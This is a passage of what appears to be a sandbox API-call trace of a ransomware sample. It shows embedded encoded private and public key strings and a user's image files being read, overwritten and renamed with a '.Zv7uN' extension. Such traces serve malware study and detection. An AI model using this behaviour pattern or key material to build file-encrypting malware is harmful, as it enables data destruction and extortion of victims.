lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.409] GetCurrentThreadId () returned 0xa30 [0085.409] GetCurrentThreadId () returned 0xa30 [0085.409] GetCurrentThreadId () returned 0xa30 [0085.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.410] GetCurrentThreadId () returned 0xa30 [0085.410] GetCurrentThreadId () returned 0xa30 [0085.410] GetCurrentThreadId () returned 0xa30 [0085.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\bu_qho9-h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.410] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.410] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.410] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x175c0 [0085.410] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.411] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x175c0, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f108*=0x175c0, lpOverlapped=0x0) returned 1 [0085.414] CloseHandle (hObject=0x11c) returned 1 [0085.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\bu_qho9-h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.419] WriteFile (in: hFile=0x11c, lpBuffer=0x1f3e8b0*, nNumberOfBytesToWrite=0x175c0, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3e8b0*, lpNumberOfBytesWritten=0x18f114*=0x175c0, lpOverlapped=0x0) returned 1 [0085.424] CloseHandle (hObject=0x11c) returned 1 [0085.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\bu_qho9-h.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\bu_qho9-h.png.zv7un")) returned 1 [0085.428] GetCurrentThreadId () returned 0xa30 [0085.428] GetCurrentThreadId () returned 0xa30 [0085.428] GetCurrentThreadId () returned 0xa30 [0085.428] GetCurrentThreadId () returned 0xa30 [0085.428] GetCurrentThreadId () returned 0xa30 [0085.428] GetCurrentThreadId () returned 0xa30 [0085.428] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc1d680, ftCreationTime.dwHighDateTime=0x1d5e21b, ftLastAccessTime.dwLowDateTime=0x7fed2490, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x7fed2490, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kgcPTg_QemXoYwIC0.gif", cAlternateFileName="KGCPTG~1.GIF")) returned 1 [0085.428] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.428] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\kgcptg_qemxoywic0.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc1d680, ftCreationTime.dwHighDateTime=0x1d5e21b, ftLastAccessTime.dwLowDateTime=0x7fed2490, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x7fed2490, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae7)) returned 1 [0085.428] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\kgcptg_qemxoywic0.gif")) returned 0x20 [0085.428] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif", dwFileAttributes=0x80) returned 1 [0085.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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